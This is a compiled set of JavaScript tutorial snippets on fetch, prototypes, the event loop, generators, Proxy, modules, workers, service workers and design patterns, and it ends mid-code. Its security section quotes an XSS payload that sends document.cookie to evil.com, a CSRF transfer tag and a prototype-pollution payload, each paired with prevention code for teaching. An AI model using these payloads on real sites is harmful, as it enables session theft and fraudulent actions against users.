async function getUsers() {
    const response = await fetch("https://api.example.com/users");

    // fetch() doesn't reject on 404/500 — check manually!
    if (!response.ok) {
        throw new Error(`HTTP ${response.status}: ${response.statusText}`);
    }

    const users = await response.json(); // parse JSON body
    return users;
}

// ── POST request with JSON body ──
async function createUser(userData) {
    const response = await fetch("https://api.example.com/users", {
        method: "POST",
        headers: {
            "Content-Type": "application/json",
            "Authorization": "Bearer " + token,
        },
        body: JSON.stringify(userData),
    });

    if (!response.ok) {
        const error = await response.json();
        throw new Error(error.message || "Failed to create user");
    }

    return response.json();
}

// ── PUT, PATCH, DELETE ──
await fetch(`/api/users/${id}`, {
    method: "PUT",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ name: "Updated Name" }),
});

await fetch(`/api/users/${id}`, { method: "DELETE" });

// ── Request timeout with AbortController ──
async function fetchWithTimeout(url, timeoutMs = 5000) {
    const controller = new AbortController();
    const timeoutId = setTimeout(() => controller.abort(), timeoutMs);

    try {
        const response = await fetch(url, { signal: controller.signal });
        clearTimeout(timeoutId);

        if (!response.ok) throw new Error(`HTTP ${response.status}`);
        return response.json();
    } catch (error) {
        clearTimeout(timeoutId);
        if (error.name === "AbortError") {
            throw new Error(`Request timed out after ${timeoutMs}ms`);
        }
        throw error;
    }
}

// ── Upload FormData (file upload) ──
async function uploadFile(file) {
    const formData = new FormData();
    formData.append("file", file);
    formData.append("folder", "uploads");

    const response = await fetch("/api/upload", {
        method: "POST",
        body: formData, // no Content-Type header — browser sets it with boundary
    });

    return response.json();
}

// ── Reusable fetch wrapper ──
async function api(endpoint, options = {}) {
    const config = {
        headers: {
            "Content-Type": "application/json",
            ...options.headers,
        },
        ...options,
    };

    if (config.body && typeof config.body === "object") {
        config.body = JSON.stringify(config.body);
    }

    const response = await fetch(`https://api.example.com${endpoint}`, config);

    if (!response.ok) {
        const error = await response.json().catch(() => ({}));
        throw new Error(error.message || `HTTP ${response.status}`);
    }

    return response.json();
}

// Usage:
// const users = await api("/users");
// const newUser = await api("/users", { method: "POST", body: { name: "Alice" } });

// ── The prototype chain ──
const animal = {
    alive: true,
    breathe() { return "breathing..."; }
};

const dog = Object.create(animal); // dog's prototype → animal
dog.bark = function() { return "Woof!"; };

const puppy = Object.create(dog);  // puppy's prototype → dog
puppy.playful = true;

console.log(puppy.playful);  // true      — own property
console.log(puppy.bark());   // "Woof!"   — found on dog (1 level up)
console.log(puppy.breathe()); // "breathing..." — found on animal (2 levels up)
console.log(puppy.alive);    // true      — found on animal

// Chain: puppy → dog → animal → Object.prototype → null

// ── How class syntax maps to prototypes ──
class Vehicle {
    constructor(make, year) {
        this.make = make;     // own property on instance
        this.year = year;
    }
    describe() {              // goes on Vehicle.prototype
        return `${this.year} ${this.make}`;
    }
}

class Car extends Vehicle {
    constructor(make, year, doors) {
        super(make, year);
        this.doors = doors;
    }
    honk() { return "Beep!"; } // goes on Car.prototype
}

const tesla = new Car("Tesla", 2024, 4);
console.log(tesla.describe()); // "2024 Tesla" — found on Vehicle.prototype
console.log(tesla.honk());    // "Beep!"     — found on Car.prototype

// Verify the chain
console.log(tesla instanceof Car);     // true
console.log(tesla instanceof Vehicle); // true
console.log(Object.getPrototypeOf(Car.prototype) === Vehicle.prototype); // true

// ── hasOwnProperty vs in ──
console.log(tesla.hasOwnProperty("make"));    // true  (own property)
console.log(tesla.hasOwnProperty("describe")); // false (on prototype)
console.log("describe" in tesla);              // true  (checks chain)

// ── Property shadowing ──
const base = { greet() { return "Hello from base"; } };
const child = Object.create(base);
child.greet = function() { return "Hello from child"; }; // shadows base.greet
console.log(child.greet()); // "Hello from child"
delete child.greet;
console.log(child.greet()); // "Hello from base" (falls back to prototype)

// ── Event loop order visualization ──
console.log("1: Script start");          // 1️⃣ call stack (sync)

setTimeout(() => {
    console.log("2: setTimeout 0ms");    // 5️⃣ macrotask queue
}, 0);

Promise.resolve()
    .then(() => {
        console.log("3: Promise.then 1"); // 3️⃣ microtask queue
    })
    .then(() => {
        console.log("4: Promise.then 2"); // 4️⃣ microtask queue (chained)
    });

queueMicrotask(() => {
    console.log("5: queueMicrotask");    // 3️⃣ microtask queue
});

console.log("6: Script end");           // 2️⃣ call stack (sync)

// Output order:
// 1: Script start        (sync)
// 6: Script end          (sync)
// 3: Promise.then 1      (microtask — runs before macrotask!)
// 5: queueMicrotask      (microtask)
// 4: Promise.then 2      (microtask — chained)
// 2: setTimeout 0ms      (macrotask — runs last)

// ── Why this matters: blocking the event loop ──
// BAD: synchronous work blocks everything
function heavyComputation() {
    const start = Date.now();
    while (Date.now() - start < 3000) {} // blocks for 3 seconds!
    console.log("Done");
}
// During those 3 seconds: no clicks, no scrolling, no animations

// GOOD: break work into chunks
async function processLargeArray(items) {
    const CHUNK_SIZE = 1000;
    for (let i = 0; i < items.length; i += CHUNK_SIZE) {
        const chunk = items.slice(i, i + CHUNK_SIZE);
        chunk.forEach(item => processItem(item));

        // Yield to the event loop between chunks
        await new Promise(resolve => setTimeout(resolve, 0));
    }
}

// ── Microtask starvation ──
// This blocks macrotasks indefinitely!
function starve() {
    Promise.resolve().then(() => {
        // Continuously adding microtasks prevents any macrotask from running
        // setTimeout callbacks, UI updates — all starved!
        starve(); // DON'T DO THIS
    });
}

// ── Practical: requestAnimationFrame (before repaint) ──
function animate() {
    element.style.transform = `translateX(${position}px)`;
    position += 2;
    if (position < 500) {
        requestAnimationFrame(animate); // runs before next repaint (~60fps)
    }
}
requestAnimationFrame(animate);

// ── WeakMap: private data per object ──
const privateData = new WeakMap();

class User {
    constructor(name, password) {
        this.name = name;
        // Store sensitive data privately — not on the object itself
        privateData.set(this, { password, loginCount: 0 });
    }

    authenticate(input) {
        const data = privateData.get(this);
        if (data.password === input) {
            data.loginCount++;
            return true;
        }
        return false;
    }

    getLoginCount() {
        return privateData.get(this).loginCount;
    }
}

let user = new User("Alice", "secret123");
user.authenticate("secret123"); // true
console.log(user.getLoginCount()); // 1
console.log(user.password); // undefined — not on the object!

user = null; // WeakMap entry auto-cleaned by GC

// ── WeakMap: caching expensive computations ──
const cache = new WeakMap();

function expensiveProcess(obj) {
    if (cache.has(obj)) {
        console.log("Cache hit!");
        return cache.get(obj);
    }

    console.log("Computing...");
    const result = { processed: true, data: JSON.stringify(obj), timestamp: Date.now() };
    cache.set(obj, result);
    return result;
}

let data = { x: 1, y: 2 };
expensiveProcess(data); // "Computing..."
expensiveProcess(data); // "Cache hit!"
data = null; // cache entry auto-cleaned — no memory leak!

// ── WeakSet: tracking DOM elements ──
const visited = new WeakSet();

document.querySelectorAll(".article").forEach(article => {
    const observer = new IntersectionObserver(entries => {
        entries.forEach(entry => {
            if (entry.isIntersecting && !visited.has(entry.target)) {
                visited.add(entry.target);
                trackAnalytics("article_viewed", entry.target.id);
                // If element is removed from DOM → WeakSet auto-cleans
            }
        });
    });
    observer.observe(article);
});

// ── Comparison: Map vs WeakMap ──
// | Feature        | Map          | WeakMap      |
// |----------------|--------------|--------------|
// | Key types      | Any          | Objects only |
// | Iterable       | Yes          | No           |
// | .size          | Yes          | No           |
// | GC of keys     | No (strong)  | Yes (weak)   |
// | Use case       | General data | Per-object metadata |

// ── Memory leak prevention ──
// BAD: Map holds strong references — elements never GC'd
const badCache = new Map();
function addToCache(element) {
    badCache.set(element, expensiveCompute(element));
    // Even after element is removed from DOM, badCache keeps it alive!
}

// GOOD: WeakMap lets elements be GC'd
const goodCache = new WeakMap();
function addToGoodCache(element) {
    goodCache.set(element, expensiveCompute(element));
    // When element is removed from DOM and no other refs exist → auto-cleaned
}

// ── Basic generator ──
function* countUp(start = 0) {
    let i = start;
    while (true) {
        yield i++;  // pause here, return current value
    }
}

const counter = countUp(1);
console.log(counter.next()); // { value: 1, done: false }
console.log(counter.next()); // { value: 2, done: false }
console.log(counter.next()); // { value: 3, done: false }
// Values generated on demand — no array stored in memory!

// ── Finite generator ──
function* fibonacci(limit = 10) {
    let [a, b] = [0, 1];
    for (let i = 0; i < limit; i++) {
        yield a;
        [a, b] = [b, a + b];
    }
}

// Use with for...of (auto-calls .next() until done: true)
for (const num of fibonacci(8)) {
    console.log(num); // 0, 1, 1, 2, 3, 5, 8, 13
}

// Spread into array
const fibs = [...fibonacci(10)]; // [0, 1, 1, 2, 3, 5, 8, 13, 21, 34]

// ── Sending values INTO a generator ──
function* conversation() {
    const name = yield "What is your name?";
    const age = yield `Hello ${name}! How old are you?`;
    return `${name} is ${age} years old.`;
}

const chat = conversation();
console.log(chat.next());          // { value: "What is your name?", done: false }
console.log(chat.next("Alice"));   // { value: "Hello Alice! How old are you?", done: false }
console.log(chat.next(30));        // { value: "Alice is 30 years old.", done: true }

// ── Custom iterable with Symbol.iterator ──
class Range {
    constructor(start, end) {
        this.start = start;
        this.end = end;
    }

    [Symbol.iterator]() {
        let current = this.start;
        const end = this.end;
        return {
            next() {
                return current <= end
                    ? { value: current++, done: false }
                    : { done: true };
            }
        };
    }
}

for (const n of new Range(5, 10)) {
    console.log(n); // 5, 6, 7, 8, 9, 10
}
console.log([...new Range(1, 5)]); // [1, 2, 3, 4, 5]

// ── Practical: paginated API fetch ──
async function* fetchPages(baseUrl) {
    let page = 1;
    while (true) {
        const response = await fetch(`${baseUrl}?page=${page}`);
        const data = await response.json();

        if (data.results.length === 0) return; // no more pages
        yield data.results;
        page++;
    }
}

// Usage:
// for await (const page of fetchPages("/api/users")) {
//     page.forEach(user => renderUser(user));
// }

// ── Basic Proxy: validation ──
const validator = {
    set(target, prop, value) {
        if (prop === "age") {
            if (typeof value !== "number" || value < 0 || value > 150) {
                throw new TypeError(`Invalid age: ${value}`);
            }
        }
        if (prop === "email") {
            if (typeof value !== "string" || !value.includes("@")) {
                throw new TypeError(`Invalid email: ${value}`);
            }
        }
        target[prop] = value;
        return true; // indicate success
    }
};

const user = new Proxy({}, validator);
user.name = "Alice";    // ✅
user.age = 30;          // ✅
// user.age = -5;       // TypeError: Invalid age: -5
// user.email = "bad";  // TypeError: Invalid email: bad

// ── Logging proxy ──
function createLogger(obj, label) {
    return new Proxy(obj, {
        get(target, prop) {
            console.log(`[${label}] GET ${String(prop)} → ${target[prop]}`);
            return Reflect.get(target, prop);
        },
        set(target, prop, value) {
            console.log(`[${label}] SET ${String(prop)} = ${value}`);
            return Reflect.set(target, prop, value);
        }
    });
}

const config = createLogger({ theme: "dark" }, "Config");
config.theme;         // [Config] GET theme → dark
config.lang = "en";   // [Config] SET lang = en

// ── Negative array indexing (Python-style) ──
function negativeArray(arr) {
    return new Proxy(arr, {
        get(target, prop) {
            const index = Number(prop);
            if (Number.isInteger(index) && index < 0) {
                return target[target.length + index];
            }
            return Reflect.get(target, prop);
        }
    });
}

const arr = negativeArray([10, 20, 30, 40, 50]);
console.log(arr[-1]); // 50
console.log(arr[-2]); // 40

// ── Reactive system (simplified Vue.js 3 pattern) ──
const effects = new Map();
let activeEffect = null;

function reactive(obj) {
    return new Proxy(obj, {
        get(target, prop) {
            if (activeEffect) {
                if (!effects.has(prop)) effects.set(prop, new Set());
                effects.get(prop).add(activeEffect);
            }
            return Reflect.get(target, prop);
        },
        set(target, prop, value) {
            Reflect.set(target, prop, value);
            if (effects.has(prop)) {
                effects.get(prop).forEach(fn => fn()); // trigger watchers
            }
            return true;
        }
    });
}

const state = reactive({ count: 0 });

// ── Reflect: default behaviour companion ──
// Reflect.get(target, prop) — same as target[prop]
// Reflect.set(target, prop, value) — same as target[prop] = value
// Reflect.has(target, prop) — same as prop in target
// Reflect.deleteProperty(target, prop) — same as delete target[prop]
// Reflect.ownKeys(target) — returns all own keys (like Object.keys + symbols)

// ── ES Modules (ESM) ──

// math.js — named exports
export function add(a, b) { return a + b; }
export function multiply(a, b) { return a * b; }
export const PI = 3.14159;

// math.js — default export
export default class Calculator {
    add(a, b) { return a + b; }
}

// app.js — importing
import Calculator from "./math.js";           // default import
import { add, multiply, PI } from "./math.js"; // named imports
import { add as sum } from "./math.js";        // rename
import * as math from "./math.js";             // namespace import

// Dynamic import (lazy loading)
async function loadChart() {
    const { Chart } = await import("./chart.js"); // loaded on demand
    return new Chart();
}

// Re-exporting (barrel file)
// index.js
export { add, multiply } from "./math.js";
export { default as Logger } from "./logger.js";

// ── CommonJS (CJS) ──

// math.js — exporting
function add(a, b) { return a + b; }
function multiply(a, b) { return a * b; }
module.exports = { add, multiply };
// or: exports.add = add;

// app.js — importing
const { add, multiply } = require("./math");
const math = require("./math");

// Dynamic (conditional) require — valid in CJS, invalid in ESM
if (process.env.NODE_ENV === "production") {
    const monitor = require("./monitoring"); // only loaded in prod
}

// ── Key differences ──
// | Feature           | ESM                    | CommonJS              |
// |--------------------|------------------------|-----------------------|
// | Syntax             | import/export          | require/module.exports|
// | Loading            | Async                  | Synchronous           |
// | Static analysis    | Yes (tree-shaking!)    | No                    |
// | Top-level await    | Yes                    | No                    |
// | this at top level  | undefined              | module.exports        |
// | File extension     | .mjs or "type":"module"| .cjs or default       |
// | Browser support    | Native (script type=module) | Needs bundler   |
// | Conditional import | Dynamic import()       | require() anywhere    |

// ── package.json for ESM ──
// { "type": "module" } → all .js files treated as ESM
// { "type": "commonjs" } → all .js files treated as CJS (default)

// ── Reachability determines GC ──

// Object is reachable via variable
let user = { name: "Alice", age: 30 };
// user → {name: "Alice"} — reachable, NOT collected

user = null;
// No reference to {name: "Alice"} — WILL be collected

// ── Circular references (NOT a problem for Mark-and-Sweep) ──
function createCircular() {
    const a = {};
    const b = {};
    a.ref = b;
    b.ref = a; // circular reference
    return "done";
}
createCircular();
// Both a and b are unreachable after function returns
// Mark-and-Sweep handles this — reference counting would fail

// ── Common memory leak patterns ──

// 1. Forgotten timers
let leakyData = loadHugeDataset(); // 100MB
setInterval(() => {
    // This closure keeps leakyData alive forever!
    console.log(leakyData.length);
}, 1000);
// Fix: clearInterval when done, or use WeakRef

// 2. Closures holding large data
function processData() {
    const hugeArray = new Array(1_000_000).fill("data");
    return function getLength() {
        return hugeArray.length; // closure keeps hugeArray alive!
    };
}
const getLen = processData(); // hugeArray lives in memory

// Fix: extract only what you need
function processDataFixed() {
    const hugeArray = new Array(1_000_000).fill("data");
    const length = hugeArray.length;
    return function getLength() {
        return length; // only number in closure, not entire array
    };
}

// 3. Detached DOM nodes
const elements = [];
function addElement() {
    const div = document.createElement("div");
    document.body.appendChild(div);
    elements.push(div); // strong reference in array
    document.body.removeChild(div); // removed from DOM but NOT GC'd!
}
// Fix: use WeakSet or remove from array

// 4. Global variables
function leak() {
    accidental = "I'm global!"; // missing let/const — becomes window.accidental
}

// ── Memory profiling ──
// Chrome DevTools → Memory tab → Take Heap Snapshot
// Look for: detached DOM nodes, growing arrays, large closures
// Compare snapshots to find leaks

// ── V8 GC generations ──
// Young generation (Scavenger): 1-8MB, very fast, minor GC
//   - Most objects die here (temporary variables, function locals)
// Old generation (Mark-Sweep/Mark-Compact): larger, slower, major GC
//   - Objects that survive multiple minor GCs get promoted here
//   - Full GC pauses: typically 1-10ms with incremental marking

// ── Creating symbols ──
const sym1 = Symbol("id");
const sym2 = Symbol("id");
console.log(sym1 === sym2); // false — always unique!
console.log(typeof sym1);   // "symbol"

// ── Symbols as unique property keys ──
const ID = Symbol("id");
const user = {
    name: "Alice",
    [ID]: 12345, // symbol-keyed property
};

console.log(user[ID]); // 12345
console.log(user.ID);  // undefined — dot notation doesn't work with symbols

// ── Hidden from normal enumeration ──
console.log(Object.keys(user));         // ["name"] — no symbol
console.log(JSON.stringify(user));       // {"name":"Alice"} — no symbol
console.log(Object.getOwnPropertySymbols(user)); // [Symbol(id)]

// ── Avoiding property collisions (library code) ──
// Two libraries can add properties to the same object safely
const libA_key = Symbol("metadata");
const libB_key = Symbol("metadata"); // different symbol despite same description

const sharedObj = {};
sharedObj[libA_key] = { source: "Library A" };
sharedObj[libB_key] = { source: "Library B" };
// No collision! Both properties coexist

// ── Symbol.for() — global symbol registry ──
const globalSym1 = Symbol.for("app.config");
const globalSym2 = Symbol.for("app.config");
console.log(globalSym1 === globalSym2); // true — shared across files!
console.log(Symbol.keyFor(globalSym1)); // "app.config"

// ── Well-known symbols (customize language behaviour) ──

// Symbol.iterator — make object iterable
class Range {
    constructor(start, end) {
        this.start = start;
        this.end = end;
    }
    [Symbol.iterator]() {
        let current = this.start;
        const end = this.end;
        return {
            next() {
                return current <= end
                    ? { value: current++, done: false }
                    : { done: true };
            }
        };
    }
}
console.log([...new Range(1, 5)]); // [1, 2, 3, 4, 5]

// Symbol.toPrimitive — customize type conversion
class Money {
    constructor(amount, currency) {
        this.amount = amount;
        this.currency = currency;
    }
    [Symbol.toPrimitive](hint) {
        if (hint === "number") return this.amount;
        if (hint === "string") return `${this.currency} ${this.amount}`;
        return this.amount; // default
    }
}

const price = new Money(29.99, "USD");
console.log(+price);     // 29.99 (number hint)
console.log(`${price}`); // "USD 29.99" (string hint)
console.log(price + 10); // 39.99 (default hint → number)

// ── Hidden classes: property order matters ──
// V8 creates internal "hidden classes" for object shapes

// GOOD: same property order → shared hidden class → fast
function createUserGood(name, age) {
    const user = {};
    user.name = name;  // hidden class transition 1
    user.age = age;    // hidden class transition 2
    return user;
}
// All users share the same hidden class → optimized property access

// BAD: different property order → different hidden classes → slow
function createUserBad(name, age, isAdmin) {
    const user = {};
    if (isAdmin) {
        user.role = "admin";  // different order!
        user.name = name;
        user.age = age;
    } else {
        user.name = name;
        user.age = age;
    }
    return user;
}
// Admin users have different hidden class → deoptimized access

// ── Inline caches (IC): monomorphic vs polymorphic ──
// GOOD: function always receives same type → monomorphic (fast)
function addNumbers(a, b) {
    return a + b; // V8 optimizes for number + number
}
addNumbers(1, 2);     // V8 sees: both numbers
addNumbers(3, 4);     // confirmed: both numbers → inline cache hit
addNumbers(5, 6);     // TurboFan optimizes to machine add instruction

// BAD: different types → polymorphic/megamorphic (slow)
function addMixed(a, b) {
    return a + b;
}
addMixed(1, 2);       // number + number
addMixed("a", "b");   // string + string → different IC entry
addMixed(1, "2");     // number + string → IC becomes megamorphic → deoptimize

// ── Deoptimization triggers ──
// 1. Changing object shape after creation
const obj = { x: 1, y: 2 };
delete obj.x; // forces hidden class change → deoptimize
// Fix: set to undefined instead: obj.x = undefined;

// 2. try/catch used to prevent optimization (old V8, now fixed)

// 3. Arguments object leaking
function bad() {
    return arguments; // prevents optimization in some cases
}
function good(...args) {
    return args; // rest params are optimizable
}

// ── Practical: V8 optimization tips ──
// 1. Initialize all properties in constructor
class Point {
    constructor(x, y) {
        this.x = x; // always same order
        this.y = y;
        this.z = 0; // initialize all upfront, even if unused
    }
}

// 2. Don't change variable types
let count = 0;     // V8 says: it's a Smi (small integer)
count = "hello";   // V8: deoptimize! type changed

// 3. Use TypedArrays for numerical work
const float64 = new Float64Array(1000);
// Guaranteed type → no type checks needed → C-speed access

// ── V8 compilation pipeline summary ──
// Source → Parser → AST → Ignition (bytecode) → runs
//                                ↓ (hot code detected)
//                          TurboFan (optimized machine code)
//                                ↓ (assumption violated)
//                          Deoptimize → back to Ignition

// ── Main thread (app.js) ──
const worker = new Worker("worker.js");

// Send data to worker
worker.postMessage({
    task: "processData",
    data: largeDataArray, // structured clone (copy)
});

// Receive results
worker.onmessage = (event) => {
    console.log("Result:", event.data);
    renderResults(event.data);
};

worker.onerror = (error) => {
    console.error("Worker error:", error.message);
};

// ── Worker thread (worker.js) ──
self.onmessage = (event) => {
    const { task, data } = event.data;

    if (task === "processData") {
        // Heavy computation — doesn't block UI!
        const result = data
            .filter(item => item.score > 50)
            .map(item => ({
                ...item,
                grade: calculateGrade(item.score),
                percentile: calculatePercentile(item.score, data),
            }))
            .sort((a, b) => b.score - a.score);

        self.postMessage(result);
    }
};

// ── Transferable objects (zero-copy transfer) ──
// Main thread
const buffer = new ArrayBuffer(1024 * 1024); // 1MB
worker.postMessage(buffer, [buffer]); // transfer, not copy
console.log(buffer.byteLength); // 0 — ownership transferred!

// Worker
self.onmessage = (event) => {
    const buffer = event.data; // received without copying
    const view = new Float64Array(buffer);
    // Process data...
    self.postMessage(buffer, [buffer]); // transfer back
};

// ── Module Worker (ES modules in workers) ──
const moduleWorker = new Worker("worker.js", { type: "module" });

// worker.js (module worker)
import { processImage } from "./image-utils.js";

self.onmessage = async (event) => {
    const result = await processImage(event.data);
    self.postMessage(result);
};

// ── Worker pool pattern ──
class WorkerPool {
    constructor(workerScript, size = navigator.hardwareConcurrency || 4) {
        this.workers = Array.from({ length: size }, () => new Worker(workerScript));
        this.queue = [];
        this.available = [...this.workers];
    }

    runTask(data) {
        return new Promise((resolve, reject) => {
            const task = { data, resolve, reject };

            if (this.available.length > 0) {
                this.dispatch(this.available.pop(), task);
            } else {
                this.queue.push(task); // wait for available worker
            }
        });
    }

    dispatch(worker, task) {
        worker.onmessage = (e) => {
            task.resolve(e.data);
            this.available.push(worker);
            if (this.queue.length > 0) {
                this.dispatch(this.available.pop(), this.queue.shift());
            }
        };
        worker.onerror = (e) => task.reject(e);
        worker.postMessage(task.data);
    }

    terminate() {
        this.workers.forEach(w => w.terminate());
    }
}

// Usage:
// const pool = new WorkerPool("compute.js", 4);
// const results = await Promise.all(
//     chunks.map(chunk => pool.runTask(chunk))
// );

// ── Registration (main.js) ──
if ("serviceWorker" in navigator) {
    navigator.serviceWorker.register("/sw.js", { scope: "/" })
        .then(reg => console.log("SW registered:", reg.scope))
        .catch(err => console.error("SW registration failed:", err));
}

// ── Service Worker (sw.js) ──
const CACHE_NAME = "app-v2";
const STATIC_ASSETS = [
    "/",
    "/index.html",
    "/styles.css",
    "/app.js",
    "/offline.html",
    "/icons/logo-192.png",
];

// ── Install: pre-cache static assets ──
self.addEventListener("install", (event) => {
    event.waitUntil(
        caches.open(CACHE_NAME)
            .then(cache => cache.addAll(STATIC_ASSETS))
            .then(() => self.skipWaiting()) // activate immediately
    );
});

// ── Activate: clean up old caches ──
self.addEventListener("activate", (event) => {
    event.waitUntil(
        caches.keys().then(keys =>
            Promise.all(
                keys
                    .filter(key => key !== CACHE_NAME)
                    .map(key => caches.delete(key))
            )
        ).then(() => self.clients.claim()) // take control of pages
    );
});

// ── Fetch: intercept network requests ──
self.addEventListener("fetch", (event) => {
    const { request } = event;

    // Strategy 1: Cache First (for static assets)
    if (request.destination === "image" || request.url.includes("/static/")) {
        event.respondWith(
            caches.match(request)
                .then(cached => cached || fetch(request).then(response => {
                    const clone = response.clone();
                    caches.open(CACHE_NAME).then(cache => cache.put(request, clone));
                    return response;
                }))
        );
        return;
    }

    // Strategy 2: Network First (for API calls)
    if (request.url.includes("/api/")) {
        event.respondWith(
            fetch(request)
                .then(response => {
                    const clone = response.clone();
                    caches.open(CACHE_NAME).then(cache => cache.put(request, clone));
                    return response;
                })
                .catch(() => caches.match(request)) // fallback to cache
        );
        return;
    }

    // Strategy 3: Stale While Revalidate (for HTML pages)
    event.respondWith(
        caches.match(request).then(cached => {
            const fetchPromise = fetch(request).then(response => {
                const clone = response.clone();
                caches.open(CACHE_NAME).then(cache => cache.put(request, clone));
                return response;
            });
            return cached || fetchPromise; // serve cache immediately, update in background
        }).catch(() => caches.match("/offline.html"))
    );
});

// ── Caching strategies summary ──
// | Strategy              | Use Case              | Behavior                        |
// |-----------------------|-----------------------|---------------------------------|
// | Cache First           | Static assets, fonts  | Cache → network (if miss)       |
// | Network First         | API data, dynamic     | Network → cache (if offline)    |
// | Stale While Revalidate| HTML pages            | Cache now, update in background |
// | Cache Only            | Pre-cached assets     | Cache only, never network       |
// | Network Only          | Analytics, logs       | Network only, never cache       |

// ── XSS: the vulnerability ──
// BAD: inserting user input as HTML
const userInput = '<img src=x onerror="fetch(`https://evil.com/steal?cookie=${document.cookie}`)">'
document.getElementById("output").innerHTML = userInput; // EXECUTES!

// ── XSS Prevention ──
// 1. Use textContent instead of innerHTML
document.getElementById("output").textContent = userInput; // safe — renders as text

// 2. Sanitize HTML if you MUST render it
function sanitizeHTML(str) {
    const div = document.createElement("div");
    div.textContent = str;
    return div.innerHTML; // HTML-encoded
}
// Or use DOMPurify library:
// import DOMPurify from "dompurify";
// element.innerHTML = DOMPurify.sanitize(userInput);

// 3. Content Security Policy (HTTP header)
// Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
// Prevents inline scripts and external script loading

// ── CSRF: the vulnerability ──
// Attacker's page: <img src="https://bank.com/transfer?to=attacker&amount=10000">
// If user is logged into bank.com, browser sends cookies automatically!

// ── CSRF Prevention ──
// 1. CSRF tokens (most common)
async function submitForm(data) {
    const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
    await fetch("/api/transfer", {
        method: "POST",
        headers: {
            "Content-Type": "application/json",
            "X-CSRF-Token": csrfToken, // server validates this
        },
        body: JSON.stringify(data),
    });
}

// 2. SameSite cookie attribute
// Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
// SameSite=Strict: cookie not sent with cross-site requests
// HttpOnly: cookie not accessible via JavaScript (prevents XSS cookie theft)

// ── Prototype pollution ──
// BAD: merging user input into objects
function merge(target, source) {
    for (const key in source) {
        target[key] = source[key]; // dangerous!
    }
}
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);
console.log({}.isAdmin); // true — ALL objects now have isAdmin!

// SAFE: check for dangerous keys
function safeMerge(target, source) {
    for (const key of Object.keys(source)) {
        if (key === "__proto__" || key === "constructor" || key === "prototype") {
            continue; // skip dangerous keys
        }
        target[key] = source[key];
    }
}

// ── eval() and Function() ──
// NEVER use eval with user input
// eval(userInput); // arbitrary code execution!
// new Function(userInput)(); // same risk

// ── npm supply chain security ──
// npm audit — check for known vulnerabilities
// Use lock files (package-lock.json)
// Review new dependencies before installing
// Use npm audit signatures to verify package integrity

// ── Module Pattern (encapsulation) ──
const AuthModule = (() => {
    let token = null; // private

    return {
        login(credentials) {
            token = authenticate(credentials);
            return !!token;
        },
        getToken() { return token; },
        logout() { token = null; },
    };
})();

// ── Observer / PubSub (event-driven) ──
class EventEmitter {
    constructor() {
        this.listeners = new Map();
    }
    on(event, callback) {
        if (!this.listeners.has(event)) this.listeners.set(event, []);
        this.listeners.get(event).push(callback);
        return () => this.off(event, callback); // return unsubscribe fn
    }
    off(event, callback) {
        const cbs = this.listeners.get(event);
        if (cbs) this.listeners.set(event, cbs.filter(cb => cb !== callback));
    }
    emit(event, data) {
        (this.listeners.get(event) || []).forEach(cb => cb(data));
    }
}

const bus = new EventEmitter();
const unsub = bus.on("user:login", user => console.log(`Welcome, ${user.name}`));
bus.emit("user:login", { name: "Alice" }); // "Welcome, Alice"
unsub(); // clean up

// ── Factory Pattern (flexible object creation) ──
function createNotification(type, message) {
    const base = { id: crypto.randomUUID(), message, timestamp: Date.now() };
    switch (type) {
        case "success": return { ...base, icon: "✅", color: "#22c55e" };
        case "error":   return { ...base, icon: "❌", color: "#ef4444" };
        case "warning": return { ...base, icon: "⚠️", color: "#f59e0b" };
        default:        return { ...base, icon: "ℹ️", color: "#3b82f6" };
    }
}

// ── Strategy Pattern (swappable algorithms) ──
const sortStrategies = {
    price:     (a, b) => a.price - b.price,
    rating:    (a, b) => b.rating - a.rating,
    name:      (a, b) => a.name.localeCompare(b.name),
    relevance: (a, b) => b.score - a.score,
};

function sortProducts(products, strategy = "relevance") {
    return [...products].sort(sortStrategies[strategy]);
}

// ── Middleware Pattern (pipeline) ──
class App {
    constructor() { this.middlewares = []; }
    use(fn) { this.middlewares.push(fn); }

    async handle(request) {
        let index = 0;
        const next = async () => {
            if (index < this.middlewares.length) {
                await this.middlewares[index++](request, next);
            }
        };
        await next();
        return request;
    }
}

const app = new App();
app.use(async (req, next) => { req.startTime = Date.now(); await next(); });
app.use(async (req, next) => { console.log(`${req.method} ${req.url}`); await next(); });
app.use(async (req, next) => { req.user = await authenticate(req); await next(); });

// ── Singleton (single instance) ──
class Database {
    static instance = null;
    static getInstance() {
        if (!Database.instance) {
            Database.instance = new Database();
        }
        return Database.instance;
    }
    constructor() {
        if (Database.instance) throw new Error("Use Database.getInstance()");
        this.connection = null;
    }
}

// ── Feature-based folder structure ──
// src/
//   features/
//     auth/
//       components/     LoginForm.jsx, SignupForm.jsx
//       hooks/          useAuth.js, useSession.js
//       services/       authApi.js, tokenStorage.js
//       store/          authSlice.js
//       utils/          validation.js
//       __tests__/      auth.test.js
//       index.js        ← public API (barrel file)
//     dashboard/
//       components/     DashboardGrid.jsx, MetricCard.jsx
//       hooks/          useDashboard.js
//       services/       dashboardApi.js
//       index.js
//   shared/
//     components/       Button.jsx, Modal.jsx
//     hooks/            useFetch.js, useDebounce.js
//     utils/            formatters.js, validators.js
//     api/              httpClient.js ← centralized fetch wrapper
//   app/
//     App.jsx           ← root component
//     router.jsx        ← route definitions
//     store.js          ← root store configuration

// ── API layer abstraction ──
// shared/api/httpClient.js
class HttpClient {
    constructor(baseURL) {
        this.baseURL = baseURL;
    }
    async request(endpoint, options = {}) {
        const url = `${this.baseURL}${endpoint}`;
        const config = {
            headers: {
                "Content-Type": "application/json",
                ...this.getAuthHeaders(),
                ...options.headers,
            },
            ...options,
        };
        if (config.body && typeof config.body === "object") {
            config.body = JSON.stringify(config.body);
        }
        const response = await fetch(url, config);
        if (!response.ok) await this.handleError(response);
        return response.json();
    }
    get(endpoint)          { return this.request(endpoint); }
    post(endpoint, body)   { return this.request(endpoint, { method: "POST", body }); }
    put(endpoint, body)    { return this.request(endpoint, { method: "PUT", body }); }
    delete(endpoint)       { return this.request(endpoint, { method: "DELETE" }); }
    getAuthHeaders()       { /* token from storage */ }
    async handleError(res) { /* centralized error handling */ }
}
export const api = new HttpClient("https://api.example.com");

// features/auth/services/authApi.js
import { api } from "../../shared/api/httpClient";
export const authApi = {
    login: (creds) => api.post("/auth/login", creds),
    logout: () => api.post("/auth/logout"),
